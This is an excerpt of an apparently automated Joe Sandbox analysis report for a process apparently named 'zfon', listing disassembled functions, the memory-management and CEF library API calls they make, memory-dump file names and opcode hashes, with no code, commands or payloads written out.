Part of subcall function 00007FF7F96E2470: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7F96E22DB), ref: 00007FF7F96E24FA

Part of subcall function 00007FF7F9706E90: cef_string_map_alloc.LIBCEF ref: 00007FF7F9706E99

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E717E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E718E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E719E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E71AB
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E71E4

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$cef_string_map_alloc$freemallocmemcpy
String ID:
API String ID: 224831930-0
Opcode ID: f2e0434e812f486bbb2eabc96afd3d91da7e9aae555bade9a89ac74059c309bd
Instruction ID: 440d90fa74a2a0492aa4cae09d76a251777b5bcc2227db6bdb2b251d52d61c7c
Opcode Fuzzy Hash: f2e0434e812f486bbb2eabc96afd3d91da7e9aae555bade9a89ac74059c309bd
Instruction Fuzzy Hash: 91917972B05B4185EB04EF69D8543ACA3B2FB84F99F858436CA2D037A8DF39D445C3A5

Function 00007FF7F96F9530 Relevance: 7.7, APIs: 6, Instructions: 201COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FF7F96F95AC

Part of subcall function 00007FF7F96E1FB0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7F96E219C), ref: 00007FF7F96E1FD5

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: mallocmemcmp
String ID:
API String ID: 2019052184-0
Opcode ID: d3f66d2b6ad97b184e21337da213452f51ca896170bba51c97c27b9d314203c3
Instruction ID: a851d11471a6bb2a9a01406f478943c9a4783d4b123fcf08d4ddfc382f53b3a7
Opcode Fuzzy Hash: d3f66d2b6ad97b184e21337da213452f51ca896170bba51c97c27b9d314203c3
Instruction Fuzzy Hash: 0F71C651608B9281E760BE229E002A997B2BB45BC8F884035DF7D877CDEF3DE4918391

Function 00007FF7F96EEB80 Relevance: 7.7, APIs: 5, Instructions: 177COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7F96EEBBB
memset.VCRUNTIME140 ref: 00007FF7F96EEBFC

Part of subcall function 00007FF7F96E7770: new.LIBCMT ref: 00007FF7F96E7794

cef_string_map_alloc.LIBCEF ref: 00007FF7F96EED41
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EEE1E
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EEE72

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$memset
String ID:
API String ID: 3154343008-0
Opcode ID: dbac351c522733198ef531d23818992bc4ed6bb4c5475570b617ac3196796fe6
Instruction ID: 70b68bf00c0dd6963c6d54ab4f6893e9f7a1022d3e65ea67e95a3756a7287223
Opcode Fuzzy Hash: dbac351c522733198ef531d23818992bc4ed6bb4c5475570b617ac3196796fe6
Instruction Fuzzy Hash: C0817B72608BC18AEB25DF24E8403EEB7B0FB84748F844129EB9D07AA9DF79D545C750

Function 00007FF8B90FA9B0 Relevance: 7.7, APIs: 5, Instructions: 175COMMON

Download Yara Rule

APIs

fgetwc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90FAA6F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: fgetwc
String ID:
API String ID: 2948136663-0
Opcode ID: 7b092b86c2f800b45fcf13971108f149f52e97cd8681566c45f30ae54ea6449e
Instruction ID: 5c60dcfed1fb245a678fda8319a3aa91679389c283d12a4a938782ff3e20dd5e
Opcode Fuzzy Hash: 7b092b86c2f800b45fcf13971108f149f52e97cd8681566c45f30ae54ea6449e
Instruction Fuzzy Hash: AA813972608A81D9EF508F29C4903AC33A5FB48BD8F515232EB5E47B99EF38D685D350

Function 00007FF7F96E93A0 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96FFAA0: new.LIBCMT ref: 00007FF7F96FFACC
Part of subcall function 00007FF7F96FFAA0: new.LIBCMT ref: 00007FF7F96FFB42

new.LIBCMT ref: 00007FF7F96E946B
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9491
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E94FF
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9532
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9560

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturncef_string_map_alloc
String ID:
API String ID: 2776152272-0
Opcode ID: 1e3490bca68b8c3274cbeecc2115020831b9076bd9e81532a15e2d3a86fb5802
Instruction ID: ea14ab52a017e56efc11d17fd89dfcb0153cfe4f5ae46667084028a3894cf2bf
Opcode Fuzzy Hash: 1e3490bca68b8c3274cbeecc2115020831b9076bd9e81532a15e2d3a86fb5802
Instruction Fuzzy Hash: 77618D62B04B4185FB00EFA1D8403ACA7B2AF44B98F998135DE2D17BD9CF39D845C3A4

Function 00007FF7F96E91B0 Relevance: 7.6, APIs: 5, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

new.LIBCMT ref: 00007FF7F96E923F

Part of subcall function 00007FF7F97A3D44: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F97A3D70

cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9266
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9302
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9336
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9364

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturncef_string_map_alloc$malloc
String ID:
API String ID: 1577610649-0
Opcode ID: 6ace9081bd1f1edd449fb6e0773b42b66ffd3d33c4d8c5aa578f97e1b911971e
Instruction ID: 0547ccf5f14cf60f49b76936b4203f2f616f7a6fa42d73d0c3e188d159650e79
Opcode Fuzzy Hash: 6ace9081bd1f1edd449fb6e0773b42b66ffd3d33c4d8c5aa578f97e1b911971e
Instruction Fuzzy Hash: B251A122B05B4188EB05AFA1D8402AD77B2BF44B98F994135DE2D17BD9CF39D845C390

Function 00007FF7F96E14A0 Relevance: 7.6, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1556
memcpy.VCRUNTIME140 ref: 00007FF7F96E1573
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E158C
memmove.VCRUNTIME140 ref: 00007FF7F96E15C6
memcpy.VCRUNTIME140 ref: 00007FF7F96E15DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E163F

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: freememcpy$mallocmemmove
String ID:
API String ID: 4020268379-0
Opcode ID: 0a302a5f15a6ffb896fe3f1ed937148e5395896a0c9eb31bcb25d4cdad06a287
Instruction ID: 1b867b08b18c25522a22012fef3fb25902b8724ce406b658cfe867004a5ed154
Opcode Fuzzy Hash: 0a302a5f15a6ffb896fe3f1ed937148e5395896a0c9eb31bcb25d4cdad06a287
Instruction Fuzzy Hash: 5741D062619B8185EB61AF02E84037AA7B1FB89BE0F451235EEAE077D8DF3DD0408351

Function 00007FF7F96E46D0 Relevance: 7.6, APIs: 6, Instructions: 110COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E4767
memcpy.VCRUNTIME140 ref: 00007FF7F96E4784
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E479D
memmove.VCRUNTIME140 ref: 00007FF7F96E47D7
memcpy.VCRUNTIME140 ref: 00007FF7F96E47ED
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E4850

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: freememcpy$mallocmemmove
String ID:
API String ID: 4020268379-0
Opcode ID: 12b8396c82e345bc1688e98f6ccbff207033e9e2852a0f582d1375f5ce158e35
Instruction ID: fb0ad63a0a6ea2b563ed47bb1edb450ed410effdd6f00e3b673615a02c7e9b39
Opcode Fuzzy Hash: 12b8396c82e345bc1688e98f6ccbff207033e9e2852a0f582d1375f5ce158e35
Instruction Fuzzy Hash: C3419122719B8181EB50AF12E84436AA371BB89BE0F551235EEAE07BD9DF3DD440C394

Function 00007FF8B90F24C4 Relevance: 7.6, APIs: 5, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,7FFFFFFFFFFFFFFF,?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F25A5
memset.VCRUNTIME140(?,?,?,7FFFFFFFFFFFFFFF,?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F25B3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,7FFFFFFFFFFFFFFF,?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F25EC
memcpy.VCRUNTIME140(?,?,?,7FFFFFFFFFFFFFFF,?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F25F6
memset.VCRUNTIME140(?,?,?,7FFFFFFFFFFFFFFF,?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F2604

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: memcpymemset$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 530858481-0
Opcode ID: 8df3b8b3b55c4ad0e2b75d810ff762bfc816abf5dc778e1cac203e07009b2fb8
Instruction ID: fe723e947157d56439f0a000ac368c34daa6e4f4561556c4584ff022581b18a0
Opcode Fuzzy Hash: 8df3b8b3b55c4ad0e2b75d810ff762bfc816abf5dc778e1cac203e07009b2fb8
Instruction Fuzzy Hash: 6A41AE22B09BC191EE14EF2AA5142A96355FB44FE0F584A31DF6D4B7D6DE7CE242C304

Function 00007FF8B90FC570 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,00000000,?,?,00000001,00000000,00000000,00000000,?,00007FF8B90FC333), ref: 00007FF8B90FC617
memcpy.VCRUNTIME140(?,?,?,00000000,?,?,00000001,00000000,00000000,00000000,?,00007FF8B90FC333), ref: 00007FF8B90FC648
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000000,?,?,00000001,00000000,00000000,00000000,?,00007FF8B90FC333), ref: 00007FF8B90FC680
memcpy.VCRUNTIME140(?,?,?,00000000,?,?,00000001,00000000,00000000,00000000,?,00007FF8B90FC333), ref: 00007FF8B90FC68A
memcpy.VCRUNTIME140(?,?,?,00000000,?,?,00000001,00000000,00000000,00000000,?,00007FF8B90FC333), ref: 00007FF8B90FC6BB

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2665656946-0
Opcode ID: c5414dc02fb282a514dd476fa31f041e2728c0031ac456c67ca1122fc35b3a76
Instruction ID: 60c9f492c125ce3ca31b3fc7ed246d63194bd291fda77b7d944694c4bdf4bc1c
Opcode Fuzzy Hash: c5414dc02fb282a514dd476fa31f041e2728c0031ac456c67ca1122fc35b3a76
Instruction Fuzzy Hash: 8F41D062B08A9191EE04EF2AE4096AE6365FB54FD4F544132EF5D07BA9DE7CE246C300

Function 00007FF8B90F0590 Relevance: 7.6, APIs: 5, Instructions: 95COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8B90F063C
memcpy.VCRUNTIME140 ref: 00007FF8B90F064A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90F0689
memcpy.VCRUNTIME140 ref: 00007FF8B90F0693
memcpy.VCRUNTIME140 ref: 00007FF8B90F06A1

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2665656946-0
Opcode ID: 46b82a7cf3177d4084a802e0d1aaf4a65ae280c1fa6c272f9c3f0bbded35a758
Instruction ID: 803599bd5aa181a20ee500ac7ce7768db680c4a878da74141004c109cab35c0a
Opcode Fuzzy Hash: 46b82a7cf3177d4084a802e0d1aaf4a65ae280c1fa6c272f9c3f0bbded35a758
Instruction Fuzzy Hash: DC313462708A8191DE00EF2AE9042AE7361FB48FD4F484532DF5D0BB56DE3CE152C304

Function 00007FF8BFB5A934 Relevance: 7.6, APIs: 5, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FF8BFB5A9AF
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5A9D1
DName::DName.LIBVCRUNTIME ref: 00007FF8BFB5A9E0
DName::DName.LIBVCRUNTIME ref: 00007FF8BFB5AA17
DName::DName.LIBVCRUNTIME ref: 00007FF8BFB5AA22

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: NameName::$Name::operator+
String ID:
API String ID: 826178784-0
Opcode ID: f8c65f689e74ec1d19f277c4e47f913f6a8a81dfac6f18ea7d1e3c5bf52b630d
Instruction ID: be0f216689db4221ada2cde17dee223f4999b0de5784a2b921b308492e881ba4
Opcode Fuzzy Hash: f8c65f689e74ec1d19f277c4e47f913f6a8a81dfac6f18ea7d1e3c5bf52b630d
Instruction Fuzzy Hash: 7E417E22B19A5698FB10CBA9E8A01BCB7A8BF15BC0B984032DB4D63795DF3CF415C340

Function 00007FF7F97107C0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7F9710833
cef_string_map_alloc.LIBCEF ref: 00007FF7F97108D5
cef_string_map_alloc.LIBCEF ref: 00007FF7F97108E0
cef_string_map_alloc.LIBCEF ref: 00007FF7F97108EB
cef_string_map_alloc.LIBCEF ref: 00007FF7F97108F9

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$memset
String ID:
API String ID: 3154343008-0
Opcode ID: c7be93b47b78dac1e6dca633dd4509a2773a55bac6c05f665f9044a2a3758c04
Instruction ID: f6013f110e6b3832d8a9f1ffa5df238f0fba5f31030a14bb7dcd8d2f17a2985d
Opcode Fuzzy Hash: c7be93b47b78dac1e6dca633dd4509a2773a55bac6c05f665f9044a2a3758c04
Instruction Fuzzy Hash: 50417F72618B8582EB609F15E8507A9B7B0FB88BD5F845032DB8E47A58DF3CD485CB60

Function 00007FF7F96E4590 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

